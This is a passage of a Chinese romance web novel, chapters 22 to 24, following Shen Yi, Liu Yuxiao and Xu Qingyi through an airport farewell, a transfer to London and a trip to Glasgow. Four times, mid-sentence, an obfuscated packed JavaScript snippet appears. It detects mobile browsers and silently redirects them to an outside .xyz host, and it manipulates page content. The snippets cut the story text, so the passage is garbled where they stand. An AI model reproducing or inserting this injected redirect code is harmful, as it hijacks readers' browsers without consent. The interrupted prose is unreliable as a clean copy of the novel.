时代广场刘语潇向他告白以后,他恍惚间好像看见了徐清旖的背影,然后才觉得自己大概是震撼过头,出现了幻觉。 他从来只将语潇当作是妹妹,每一次孟晨和诺米和他开玩笑的时候,他都会适时地否认,并且告诉他们:“不要这样讲话。” 刘语潇趁着他愣神的间隙,准备亲吻他的脸颊,在周围的人中看起来好像是很正常的一件事,但是对于沈翌来说却实在是无法接受。 他很直白地表示过自己有喜欢的人,所以更认为她这样的行为不合情理。 被拒绝以后,刘语潇红着眼睛问他为什么,“为什么就不肯试着喜欢我呢?” “因为我有喜欢的人。”他从来只是这样说。 刘语潇想起来徐清旖曾经和她说过的沈翌喜欢的那个女生。 她一直将这件事记得很清楚,甚至开始少穿自己曾经钟爱的短裙,试图模仿着穿上长裙。 她喜欢大波浪,又害怕沈翌不喜欢那种张扬,于是只把头发烫成微卷,她一直以为这样或许就可以有什么不同。 可是沈翌还是推开了她。 和去纽约的时候欢快的气氛不同,回程的时候,孟晨都能感受到两人之间僵硬的氛围。 “今晚到的时间很晚了,我们去上次一起的那家店吃饭?”他试探着问。 “我要回学校。” 拒绝的人竟然是刘语潇。 孟晨出乎意料,转过头去看沈翌,后者也没有出声的意思。 嘴角绷成直线,目光看向窗外。 起飞的高度并不低,从这里看出去,没有云层的遮挡,阳光异常刺眼。 沈翌不知道怎么去安慰别人,或者说他压根就没听见他们俩在说什么。 他心里始终有一颗细小的刺,轻轻磕在他的心上。 听起来似乎不是什么大动干戈的事,但又根本无法忽视。 那个从科汉像旁边离开的背影,看起来和徐清旖是那样相像。 赶飞机前他在机场给她的办公室打了很多通电话都没人接。 沈翌安慰自己或许她们还是有假期的,国内正值元旦,可能她和朋友在外地玩。 回到旧金山没多久,紧张的新机型开发工作又让他将这件事抛在脑后。 等到一个周期正式结束,才想起来距离新年已经过去了半个多月。 “最近的事情太多,所以也没有给你回电话。” 徐清旖故作轻松,她常常会在午夜梦回想起来那个画面,然后被锥心的疼痛压得几乎喘不过来气。 “我也是。” 沈翌又想起来时代广场的那个背影,“你知道吗?跨年那天我在科汉像旁边看见一个很像你的背影,我甚至以为你来了纽约。” 徐清旖的眼睛酸疼,她微微抬头用指腹轻压即将溢出来的眼泪。 然后否定他,“是吗?不过我怎么可能去纽约呢?你出现幻觉了。” 沈翌没有说话,隔了一会儿才说:“对啊,你怎么会去纽约呢。” 徐清旖没听出他话中的异样,意有所指,问他:“跨年夜过得怎么样?” “挺好的。” 话不投机的时候,聊天像是猜谜题。 隔着一整个太平洋,沈翌也没听出她的情绪。 他想起来给她拍的照片,“你想要的照片我帮你拍到了,等我什么时候回国带给你。” 徐清旖想拒绝,当时只是随口的借口,更何况现在她一想起纽约,那一幕就会不断在她脑海中闪回。 “好,谢谢你了。”最后她这样说。 - 五月,刘语潇顺利从学校毕业。 旧金山最近的天气非常好,但刘语潇不愿意再在这座城市停留,她订了第二天的机票返回中国。 “最开始我选择来这里就是因为你,再留下来也没有意义了。” 她在人声喧闹的候机厅里这样对沈翌说:“哎,我还是会等你。” 他穿着一件黑色的纯色T恤,头发被剪得更短了一些,看起来是那样的英俊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389896|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不过如果有人问起来,你要说我不喜欢你。” 刘语潇轻轻踢了踢脚边要带上飞机的登机箱,“因为我才不想让别人知道是你拒绝了我,会很没有面子。” “好,不过你没必要等我。” 沈翌把手揣在裤子的口袋里,酷得要命。 “这就是我自己的事了,但是如果有一天你不喜欢那个人了,或者说你家里催得急,需要一个结婚对象……” 说到后来,她的声音越来越颤抖。 其实他们对于刘语潇的印象完全没有错误,她的确就是一个被宠着的小公主,从小到大不会有令她操心的事情。 但是爱一个人让她变得自卑,她把自己的姿态放得很低。 以至于沈翌都恍然觉得自己好像是做了什么非常伤天害理的大事,他拧着眉,想要安慰她,又被她哽咽着打断。 “我爸爸妈妈也很喜欢你,假如有一天你想要结婚了,可以来找我。” 她说着说着仰了仰头,然后又用机票在在脸侧扇了扇,故作没事地笑着说:“如果到时候我也没结婚的,我会愿意考虑你的。” 沈翌叹气,递给她一张纸,“语潇,我不值得你这样的喜欢,你未来还会遇见很多的人。” “我可以抱一抱你吗?” 在偌大的机场,她没有理会沈翌之前说的话,也没有等他之后的回答,直接伸出双手紧紧搂住了沈翌。 十八岁时,刘语潇推开那间老相机店的小门,沈翌正坐在前台记工作笔记,那时候他还很年轻,脸上还能看见稚气。 他的手肘抵在柜台上,阳光落在他的发梢,笑着对她说:“我叫沈翌。” 二十岁那年,旧金山的八月还在实行夏令时,她从中国跨越一万五千英里和十三小时的时差,千里迢迢来到这里。 室友来自西雅图,她陪着刘语潇想办法,说可以邀请沈翌陪她去买家具。 因为在她们看来,一起挑选家具是一件很暧昧的事。 那天下午旧金山西海岸的晚霞非常漂亮,沈翌的衬衫袖口被轻轻挽起,他站在路灯下,喊她的名字。 他说今年春节他会回国。 那一刻,她甚至生出一种错觉,仿佛他真的即将离开留下她一个人。 还好,只是错觉。 二十一岁,她和沈翌、孟晨三个人在TGIFridays,那个同样来自中国的朋友开着玩笑问他们是不是在谈恋爱。 她没有否认,却听见沈翌说:“没有”。 二十二岁,她将原本买好的要去维也纳旅行的东西全部扔掉,跟着沈翌一起去纽约跨年。 然后在人潮拥挤的时代广场,在无数飘扬的彩色愿望纸下,在所有人的欢呼声中,鼓足勇气去亲吻他。 同样是二十二岁的五月,同样是在旧金山的这个机场,现在他却是在送自己离开。 她在他的胸膛处哭得厉害,直到沈翌握住她的肩膀轻轻将她推开。 她听见这个曾经她认为最温柔的男孩,对她说着世界上最狠心的话,他说:“抱歉。” 原来他们已经走过了整整五年的时光。 原来到这里,就真正结束了。 22. 好不好 六月过去后不久,沈翌就收到了来自华盛顿总部的调令。 总部要求他在明年之前结束旧金山的工作调去伦敦,负责欧洲新分部的事宜。 于是他在旧金山这边开始着手移交相关的事务,在斯坦福大学里开始申请提前毕业。 他的学分早已修满,GPA也已经达到了毕业的要求,但是毕业的论文却还是一个字没有动。 沈翌的导师是一名白胡子教授,他戴着一副没有边框的眼睛,笑起来有两个酒窝十分和蔼。 如果有人在学校之外的某个地方遇见他,绝对无法想象这是拿过诺贝尔物理学奖的业内大牛。 沈翌跟着他主要研究物理电子方向,当初得知心仪的学生真的考上了自己的学校,JimLarkin还特地来找过这位教授,让他对人家好点。 两位年过半百的老人在实验室里像小孩子一样开玩笑,转眼间已经快离开。 教授听说了他因为工作的原因要去英国非常可惜,然后他那双透亮的眼睛转了转,嘱咐沈翌一定要在大雪初霁时,去剑桥的门口转一圈。 他说那是他的母校,当年他在那里读书的时候,他们学校天文系有一位教授的太太是中国人,她会在雪后支起一张小桌子,上面摆着她亲手做的甜糕。 “那是我吃过最好吃的食物。” 教授咂咂嘴,仿佛又回到了学生时代。 沈翌笑着答应他。 他的论文题目难度比较高,从那时候开始,沈翌几乎就住在了学校的图书馆。 和当年在南大时一样,沈翌一边查资料一边休息,消遣的方式就是阅读带插画的各种图书。 又或者是读两首诗歌,漂亮的英文印刷体写在牛皮纸色的书册上。 一回头就可以看见斯坦福大学里耀眼的阳光、大片的草地,还有宽阔无云的蓝天。 这一年,他才25岁。 - 徐清旖前段时间去了一趟上海,和林知一见了一面,知一听说了纽约的事情以后很生气。 她说沈翌不够坚定,刘语潇仅仅是去美国不到两年他就变了心。 但徐清旖还是想不通,为什么可以是南城的那个女生,也可以是刘语潇,就是不能是她。 可还是假装什么也没有发生,在电话里听沈翌说要去伦敦出差时,还开玩笑说英国水质太硬,喝多了容易秃头。 对方笑着说她乱讲。 十月,徐清旖收到了沈翌漂洋过海的生日礼物,是聂鲁达诗集的英文最初版。 邮寄的速度很慢,徐清旖甚至无从得知沈翌是从几个月前就开始给她寻找这本几乎已经绝版的书,又或许是几年前。 日历上甚至还有两天才到10月2日,上半年沈翌生日时自己因为太忙,仅仅只是往他的账户里汇了一笔钱,想起来她就觉得自己实在是太敷衍。 等到生日当天,她跟着李安一起去上海出差,由于国庆假期的原因,外滩的人十分多。 当晚李安邀请她一起出去吃饭,徐清旖没有想太多。 这一年他退回到一个很合适的位置,像是她读过的所有书里描述的英国绅士那样,温文尔雅、彬彬有礼。 不再像刚认识的时候一样幼稚直率。 这两年他们打过无数次交道,说是她亲眼见证了李安的成长也根本不为过。 “我们很久没有单独吃过饭了。”李安把餐包打开递给她,“这段时间你除了工作,几乎没有再和我说过话。” 实际上也没有什么可以说的。 徐清旖这样想,但却不能这样回答,于是说:“我们都太忙了。” 李安看着她欲言又止,他的中文进步很多,即使发音还是会有些不标准,但对于一名英国人来说,已经算是非常不错了。 他一边为徐清旖添红酒,一边讲自己的事:“Yi,也许你不知道,我其实是爱尔兰人。” “我的父亲也是爱尔兰人,当年他抛弃了我的母亲,和另一个女人一起去了伦敦。” 这家餐厅的景色很好,透过落地窗可以看见壮阔的黄浦江,这个房间里只有他们。 “你知道英国的吸血鬼传说吗?我很害怕吸血鬼,但是爱尔兰的古堡很多,我走在任何一个地方都觉得会有蝙蝠飞出来。” “父亲离开之前给了我的母亲一大笔钱,那笔钱可以供我读最好的学校直至成年。所以我的母亲把我送去了一所贵族学校,那里的人……” 李安说完又苦笑一声,“那里的人才是真正的爱尔兰吸血鬼。” “他们会在我的桌上洒满墨汁,将我在放学后关在空无一人的教学楼,因为我没有父亲,他们说我是像垃圾一样,被我母亲从垃圾桶里捡来的。” “在我患上心理疾病的第二年,我的父亲又回来了。和当初忽然把我丢掉一样,他又忽然想起了我。” “那一年我告诉你我很喜欢你,是我太过冲动。我回了英国以后,一直没有收到你的消息我真的很难过。所以我也开始真正思考,我究竟是真的喜欢你,还是只是很依赖你的关心。” “Yi,我想清楚了,所以我来找你了。” 徐清旖忽然想起了那位翩翩如玉的达西先生,他在简·奥斯汀的笔下是那样温柔有风度。 李安没有给她思考的时间,仿佛是看穿对方的想法,他说:“你那位与你同名的朋友,你喜欢他?” 她顿了顿,点点头,又听见李安的声音,“他谈恋爱了吗?” 徐清旖机械性地再次点头,她觉得李安说话的时候大概带着蛊,“如果他已经重新开始了,你为什么不愿意重新开始?” “和我,试一试?” 那双蓝色的眼睛温柔而坚定,在华丽的水晶吊顶的灯光下,徐清旖闭了闭眼,逃一般地丢下一句“抱歉”,然后离开了餐厅。 她迫切地想要找沈翌,小巷深处有一间电话亭,红色的。 第一遍按错了号码,打到了沈翌原来的培训基地,对面一串流利的旧金山本地英语传出来的时候,徐清旖才反应过来自己打错了电话。 第二个电话直接拨到了沈翌的办公室,徐清旖没说话,沈翌便询问她是谁。 原来沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389897|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翌的美式英语已经这么标准了。 “清旖?”沈翌叫她,他猜测是她。 “嗯。”鼻头很闷,还有点酸。 “怎么了?”旧金山已经是深夜,昨晚他在公司加班看文件,躺在沙发上将就了一夜。 “你在忙吗?”徐清旖靠在透明玻璃上,听见电话那头有人走动的声音。 沈翌把文件合上放进柜子里,“没事了。” “怎么了?”他说:“过生日不开心吗?感觉你……情绪不太好。” “沈翌。”徐清旖转了个身,低着头把前额抵在玻璃上,最终还是什么也没有提,“阿婆她,生病了。” 两人早晨其实刚通过电话,这么多年来无论沈翌在哪个时区,徐清旖过生日时他总是第一个送上祝福的人。 “我前几天刚去看她,店里没开门,问过邻居才知道她生病了。” 她说:“她的孩子们也回来了,应该是感冒引起的,她年纪大了,一点感冒就是一场重病。” “你能回来一趟吗?”徐清旖轻轻皱着眉,风衣的衣领被她竖起来,但即使是这样也挡不住上海街头的大风。 最近公司里的事情很多,沈翌正在准备移交工作。 他走了以后,这个公司就要靠着孟晨和诺米两个人来负责。 他有意多提点一下白思园,但是小孩子年轻,学起东西来还是有些不甚在意。 “没时间吗?”徐清旖的声音有些哑了,风吹的她嗓子有些疼,“没时间的话也没关系,情况已经好转了。” “等你下次回来我们再一起去看看阿婆吧?其实前两天我看她精神已经好了很多,我只是怕她的孩子们要带她走,那我们三个就再也见不了面了。” 她絮絮叨叨地说了很多,沈翌忍不住打断她,他的心里泛着密密麻麻的酸,问她:“清旖,你到底怎么了?” 徐清旖抬起头,手掌侧着擦干眼角的眼泪,深呼一口气,“就过生日嘛,有点想见你。你最近很忙吗?” “嗯。”沈翌顿了顿,“忙完这段时间,我就找机会回去,好不好?” 好不好。 沈翌总是这样和她说话,仿佛只要她提出来的事情他都可以满足她。 “没事,你忙你的。”她说:“是因为快年底了吗?现在你们那里很晚了吧?我是不是有打扰到你了。” “已经醒了。” 沈翌给自己冲了一杯咖啡,懒得开罐子,直接拿了一支袋装的砂糖倒进杯子里。搅拌咖啡的动作停了一瞬,然后说:“我要调走了。” “去哪里?” “伦敦。” “伦敦啊。”徐清旖说:“旧金山在西半球对吗?” 没等到沈翌回答,她又说:“以前我就觉得南城那个小地方太束缚你了,你看,你已经走了这么远了。” “她呢?” “谁?” “那个女孩子。” “语潇吗?”沈翌说:“她回国了。” “回来了吗?” 徐清旖喃喃自语:“那你又是一个人了。” 23. 胆小鬼 一二三 胆小鬼 沈翌一直在准备毕业论文和职务转接的事,加起来花费了他几乎半年的时间。 从旧金山飞伦敦时,白思园、孟晨和诺米来送他。 当年他们一起留在这里,如今离开的却只有他一个人。 “沈哥,你能不能把我带走?” 白思园年纪最小,面对分别还是会哭泣。 “英国那边过去太麻烦了,你留在这边发展更好。” 其实他早猜测这是公司给他下难题,前两年他借着公司为跳板,不仅申请了斯坦福的硕士,在美国国内以及国际上更是大大小小地拿了不少奖项。 他的身价已经完全不同,但始终没有考虑过拿绿卡的事,也就证明他始终想要回中国。 于是总部将他调去了伦敦,一个真正意义上的烂摊子。 西欧的高端用户群虽然庞大,但是老牌的企业几乎已经形成垄断。 沈翌现在去那边,产品的研发是挑战,销售更是一个难题。 他一个人人生地不熟,表面上是给他升职,给了他一块巨大的蛋糕,实际上却根本无从下口。 - 伦敦用一场簌簌的小雪来迎接他,沈翌拖着自己的行李箱走出机场。 离开之前他特意换了一件较厚的棉服,旧金山实在比这里暖和太多了。 这座城市历史悠久,即使这个所谓的日不落帝国,现在看来已经变得落日西陲。 当沈翌坐着车经过泰晤士河旁边时,他能够感受到工业化城市的旧状。 司机将车停到目的地之后还想下车帮他搬行李,沈翌笑着拒绝,那位英国大叔对他说:“希望你享受这趟旅程。” 你看,在伦敦看见东方面孔的时候,大家都不会首先认为他是来工作生活的。 由于没有员工宿舍,沈翌只能自己重新租一套房子。 这时候英镑和外币的汇率仍旧高得吓人,他选择了一套一居室,和几年前在黎江市一样,却没有再找人合租。 交接好新房以后,沈翌简单收拾了一下行李,下午撑了把伞准备去公司。 旧金山几乎不下雪,以前有一次他去波士顿出差,那里的雪下得很大,很漂亮。 他想起来徐清旖最想看雪,或许以后的某一天她也可以来伦敦看雪,或者是他回国,再陪她去哈尔滨。 他的隔壁住着一位坐轮椅的英国男人,沈翌收拾行李的时候,老库珀敲他的门给他送了一双手套。 “太冷了。” 他说话的样子好像两人根本不是初次见面,沈翌道谢过后介绍自己的名字,库珀问他:“你是美国人吗?” “中国人,在美国工作过。” “不好意思,你的口音让我感觉很熟悉。” 沈翌礼貌性地回了一句:“为什么?” “我的腿。” 库珀说完,又在“leg”后面强调了一个“s”,“就是当年在美国的时候受的伤。” 他撩开自己的裤管,沈翌看见他的左腿从膝盖以下被截肢,右脚坏了脚掌。 说了一半,库珀也不想再多说,一边和他说再见,一边摇着轮椅回去自己的房间。 - 二月份沈翌接到了万师傅的一通电话,万师傅问他最近身体怎么样。 自从沈翌告诉他自己调去伦敦以后,万师傅就更加放心不下他。 “我这里一切都挺好的。” 他没有提起烦心事,随意寒暄着。 沈翌刚将报表传给美国,他最近有一个新的想法,即是用最低的成本生产低端的适用相机,等到积攒够经验和名声以后,再由下至上,逐步打开用户群。 需要时间,更需要他们品牌放下身段。 这个想法遭到了美国那边的否定,这件事让沈翌焦头烂额,对方希望他是在认真对待工作,而不是小学生玩游戏。 “一切都好就挺好的。” 万师傅的相机店这两年顾客越来越少,沈翌偶尔也会给他汇钱,但他这些年存的钱已经够用了。 他把这个小店里的老相机修了又修,它们和他都像是一台破旧的机器,逐渐地失去了活力。 “谈恋爱了吗?这几年你一直一个人,想和谁说说交心话都不行。” “原来你一直和我说的不是真心话。” “你知道我不是这个意思。”万师傅叹口气,“真不谈?” 沈翌笑了一声,“当年您也和我说一个人可以,现在怎么反过来教育我了呢?” “这不是担心你嘛……” 万师傅放下手里的螺丝刀,透过已经有些花的玻璃门看了看外面的大马路,他说:“你是不是还在等那个姑娘?” 沈翌顿了一下,笑着问:“你说谁?” “小徐啊。” 万师傅不乐意和他打哑谜,“对了,之前小刘来我们店里看我,我问她你们的事,她说她不喜欢你。这不是明摆着瞎胡讲嘛,我一眼就可以看出来好不好。” “您别乱讲,语潇她确实不喜欢我。” 一边否认着,沈翌一边拍了拍咖啡机。 新公司一切都好,就是咖啡机质量不太行。 但是所幸他的秘书咖啡拉花做的非常好,有时候他还会不忍心破坏这样的艺术。 可惜今天她没上班。 “算了,你们年轻人的事。那那个小徐姑娘呢?” “她怎么了?” “她是不是……” “是不是什么?” 沈翌刚回到办公室,忽然发现笔漏墨了,黑黑的一滴点在草稿纸的右上角。 “前几天她是和一个外国男人来看望我的,我想她是不是谈恋爱了。” 沈翌将笔扔进垃圾桶,“外国男人?” “对,他们很亲密。” 笔从垃圾桶边缘弹开,墨渍弄脏了一地。 - 徐清旖在黎江市偶遇过一次刘语潇,她看起来成熟不少,不再是当初那位十八岁的年轻小女孩。 画着稍浓的妆,和身边的朋友说话时垂着眼,不知道在想什么。 刘语潇先来和她打招呼,她说:“好久不见。” “好久不见。”徐清旖没想到她会来找自己,“你来这里吃饭吗?” “不然呢?” 刘语潇觉得有些好笑,在餐厅遇见,总不能是来借个洗手间。 她自从回国以后就没再和沈翌联系过,刚到家时父亲问她,她抱着母亲哭了很久,最后母亲安慰她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389898|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “每个人都有自己的路要走,他没有耽误你,证明他也是好孩子。” “我发现我们认识挺久了,现在想和你说点什么,却又好像除了沈翌,也没什么再能说的了。” 刘语潇苦笑一声,“你们还在联系吗?他现在怎么样?” “你们……”徐清旖微微惊讶。 “说起来他还欠我一封信。” 刘语潇朝她笑了笑,“那年他去波士顿,参与MCM的颁奖,我让他给我写一封信,他最后都没有给我。” “什么MCM?” “你不知道吗?美国大学生数学建模竞赛,那一年他拿了O奖,很厉害的,全世界只有两支队伍拿奖。还是他同事告诉我的。” 她说:“本来想着写信是最高级的浪漫,谁知道他这个人,又温柔又残忍。” 刘语潇微微眯着眼睛,像是在回忆,“还真是一点余地也不留。” “你们不是在一起了吗?” 刘语潇拧着眉,“谁告诉你的?如果我和他在一起了,现在就不会在这里了。” “他……” 刘语潇想起来沈翌拒绝他的那一天,“他很深情,很有意思,兜兜转转竟然成了一个圈,这么多年没有放弃过那个人,也是很辛苦了。” “可是那年在纽约……” 徐清旖发现说漏了嘴,及时止住了话头。 刘语潇却听了个明白,“那时候你在纽约?他不知道?” 徐清旖摇摇头,“你别告诉他。” “我怎么告诉他?我连他的联系方式都没有了。前段时间喝醉了给他的公司打电话,结果那边说他已经调走了。” 刘语潇说:“像我这么惨的可能再也找不出来第二个了。” “他调去英国了。” 有些忍不住,还是问她:“没在一起的话,那当时在纽约我明明看见……” “是我主动的,那时候我问他是不是一定要是那个人,他说是。” “这样啊。” “也不知道那个人是什么样的。”刘语潇看向徐清旖,“不过你们不是认识很多年了吗?你不认识他喜欢的人吗?” “不认识,只是听他说过。” “他怎么说的?” 徐清旖想起来那个夜晚,沈翌和她说他喜欢那个人。 “他说他喜欢她穿蓝色裙子,还说她想去北京。” “就没有具体一点的形容吗?” “我不和他讨论这个。” “好吧,那你呢?” 刘语潇问她,“你们俩认识这么多年了,他没和喜欢的人在一起,你竟然也一直没找对象。” 要怎么说呢? 说自己已经和另一位朋友在一起了,说自己在生日的第二天,脑子不清醒就已经答应别人了? 没什么说的必要。 又像是想起了什么,刘语潇忽然问:“难道你就没想过……” 话还没说完,李安忽然从外面回来了,他和徐清旖问候一声,然后站在她身侧。 刘语潇的眼神在二人之间转了转,明白过来他们的关系。 “我还以为……”刘语潇挑挑眉,“算了,那你们吃饭,我先走了。” 24. 伦敦雨 国庆前,李安提出带徐清旖回一趟爱尔兰。 他的母亲是一名非常温和的女性,围着一块米白色方巾,头发是浅棕色。 说话的时候带着笑,像是西欧电影里走出来的人物。 在这个国家逗留了几天之后,李安需要回一趟伦敦,徐清旖拒绝了他同行的计划。 她说想要一个人先回中国,实际上却在李安走后的第二天,一个人带着行李去了英国。 伦敦的巴士是红色的,各种复古的灯饰让人目不暇接。 徐清旖没有带伞,这里又正下着一场雾蒙蒙的小雨。 她站在石子路边的咖啡店门口,发现这场雨完全没有停下来的意思,于是推开那扇玻璃门走了进去。 柜台的那位员工是一个胖乎乎的男性,他似乎很少见到东方面孔,在看见徐清旖时,转过头好奇地打量她。 她在这里借了电话,按下那串烂熟于心的号码拨给沈翌,在对方说话之前,她先叫了声他的名字。 沈翌来接她时外套里面还穿着西装,应该是刚从公司里赶过来。 徐清旖是按照当初沈翌告诉她的地址找过来的,现在她待着的这家COSTA,他也是这里的常客。 柜员和沈翌明显相熟,看见沈翌推开门望向徐清旖,胖乎乎的他还小声惊呼了一声“老天……” 明亮的咖啡店,雨中的伦敦,穿西装的英俊男人和长发飘飘的美丽女人,怎么看都像是电影中一场完美的邂逅。 沈翌帮徐清旖提着行李箱,和那位员工道过别,领着她去了不远处自己的住处。 “怎么来伦敦了?”走上楼梯转角的时候,他问。 “陪一个朋友。” 自从万师傅说她可能在谈恋爱以后,沈翌从来没有问过她,徐清旖也没有主动提起过。 两个人都默契地避开这个话题,只要不说就可以假装不知道。 隔壁的房门大开着,库珀正在播放音乐,沈翌没听出来是什么歌。 “回来了?”库珀和他打过招呼,看向他身后的徐清旖,问了一句:“女朋友?” “朋友。”徐清旖否定道。 沈翌便没再说话,打开门让她先进去,和库珀说:“下次有时间再听你讲故事。” 库珀笑眯眯地点头。 沈翌的房间很整洁,墙上挂着几张照片。 有的是参加活动期间别人给他拍的,还有一张是那年去拉萨,他穿着绿色的夹袄,站在蓝得发亮的天空下。 身后是被风吹得猎猎的彩色经幡,脚下是纯白的雪。 徐清旖在这张照片前停了下来,“那时候在面包车里的照片,你后来是不是没有还给我?” 沈翌将她的行李靠在墙边,抿着唇点点头去拉开一个抽屉,一个铁质的盒子里,放满了厚厚的一叠照片。 他在里面选了选,然后才拿出一张递给她,“这张。” 当时她还没有高反,靠在窗户上看窗外的的念青山。 前座的情侣一直在聊天,只有她和沈翌的位置十分安静。 她听见他叫她的名字,转头的时候看见他按下快门。 “你竟然带着它来了英国。”徐清旖笑着盘腿坐在地毯上,接过他手里的盒子开始翻。 沈翌从衣柜里找出一床新的薄被子,一边搭在她腿上,一边回答说:“走的时候忘了给你。” “那时候也没想到会有高反,旅行变得很糟糕。” 徐清旖看见一张照片里的沈翌,他穿着一件卡其色的风衣,弯着腰抚摸一只腿很短的小马,“这是哪里?” “格拉斯哥。” 沈翌看了一眼照片,他的眼神专注,像是在回忆。 “之前去那里拜访一位客户,结束之后同事说想去看牧场。在设得兰群岛,英国的最北端,那里的特产就是这种小矮马。” “真好啊。”她说:“这个呢?” “这是五月的时候,伦敦会举办复古骑行。” 沈翌笑了笑,对她说:“其实我不喜欢,但是他们说我们公司要融入潮流。” 照片里沈翌和身边的一群人一样,穿着英伦风的西装和衬衫,每个人都骑着单车,看起来十分有意思。 徐清旖一张照片一张照片地往后翻,忽然看见了时代广场的那张科汉像。 沈翌也注意到了这张照片,“那时候我想着回国再给你,没想到一直没有时间回去。” “没关系。”徐清旖说:“之前有一次我还碰到了她。” “谁?”沈翌一愣,“语潇吗?” “嗯。”她说:“她挺好的,还向我问候了你。” 沈翌顿了顿,然后说:“嗯,那就好。” 徐清旖舔了舔嘴唇,没有继续说,又问他:“那你还在等她吗?” 沈翌皱了皱眉,“谁?” “高中的时候,你说你喜欢一个女孩子,你还为了她留在了南城。” 于是他想起来那年夏天,清华的保送名额还没有下来,他自认为万无一失,所以对她说会去北京。 1981年,他刚刚11岁,徐老师家有一台收音机,很多人都围在一起听奥运会转播。 女排夺冠的那一刻,大家都在欢呼、呐喊。 那时候还没有过生日的小小徐清旖转过头,她问沈翌:“中国什么时候才能举办奥运会呢?” “一定会的,就在不久的将来,那一定会是历史上最棒的一届。”沈翌说。 “真的吗?”她的眼睛睁得很大,白色的裙子衬得她皮肤更白,“会来我们南城吗?那我是不是就可以去看了?” 沈翌笑了笑,对她说:“我觉得应该是在北京,因为那里是首都,什么都是全中国最好的。” “这样啊……那我也要去北京,你以后也去那里好不好,我们可以一起去看奥运会。” “好。” 后来清华的保送名额开始进入申请流程,他始终记着去北京的事,没想到最后先忘记的人竟然是她。 沈翌摇了摇头,没有回答徐清旖的话。 她一张接一张的翻着,有时候还会小声地发出一声惊呼。 夕阳下模糊的剪影,人头攒动的圣诞集市,还有莎士比亚诞辰纪念日浪漫的烟花…… 在徐清旖看完最后一张的下一秒,沈翌几乎没有犹豫,他伸出手按在她眼前的照片上。 他说:“我们去格拉斯哥好不好?” - 沈翌是一个完美的行动者,在她同意之后,当晚就回公司将接下来几天的事情全部交代完毕,那位经常找他帮忙的同事欣然同意了他的请求。 沈翌将卧室让给她,自己在沙发上将就了一晚。 第二天他出去租一辆越野,准备先从伦敦自驾至伯明翰。 库珀眼神直白,靠在门边和他们道别,还十分赞扬地说了一句:“Crazy!” 也许是为了符合这辆越野的气质,沈翌竟然翻出来一件带薄绒的皮衣。 看见他的装扮,徐清旖捂着肚子笑了很久,沈翌一脸无奈地看着她。 听见她说:“沈翌,你穿这件衣服真的很不符合你给我的印象。” “什么印象?” “好学生的印象。” 她想了想,“这件衣服也不适合这辆越野啊,虽然你穿起来很帅,但我觉得这个装扮更适合去骑机车。” 于是沈翌换下了皮衣,另外找了件和她相似的深棕色夹克,看起来英俊又利落。 徐清旖朝他点头,“非常不错。” 他们一人带了几件衣服,连着前一天在超市买的食物,一齐放在了后座。 早饭在楼下的咖啡店吃了面包和华夫饼,在一切都整理好之后,他们才正式踏上了这次旅程。 不列颠几乎已经进入了冬季,越往北走景色越萧条。 路边偶尔有随意停放的自行车,离开伦敦城时,徐清旖小声地说了一句:“我还没有去过海德公园呢。” 沈翌哭笑不得,“你怎么不早点说,我们也可以去了再走。” “等回来再去吧。”徐清旖将靠背往后调了调,整个人舒适地窝在座椅里,眯着眼睛说:“我要睡觉啦,小沈司机慢点哦。” “好,睡吧。”沈翌将车里的暖气打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389899|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,沿着宽阔的马路慢慢往前开。 伦敦到伯明翰的路不太好开,他们一路走一路停,慢悠悠耗费了不少时间。 在这座英式风情十足的城市,他们逗留了一天半。 十月还不是最热闹的时节,但这里的人本来也不算少,在维多利亚广场转了一圈之后,他们还去了圣马丁教堂和吉百利。 从伯明翰坐火车去格拉斯哥,之后他们又租了一辆车准备去阿伯丁坐船。 在将大包小包的东西放在另一辆越野的后备箱的时候,徐清旖还开玩笑说:“我们的旅行像是小时候玩的跳棋。” 英国总是下雨,在北温带的大雾中,他们拖着行李箱走在格拉斯哥的小路上。 这几天幸福得像是一场梦,徐清旖觉得自己生命中最美好的时光总是在国庆。 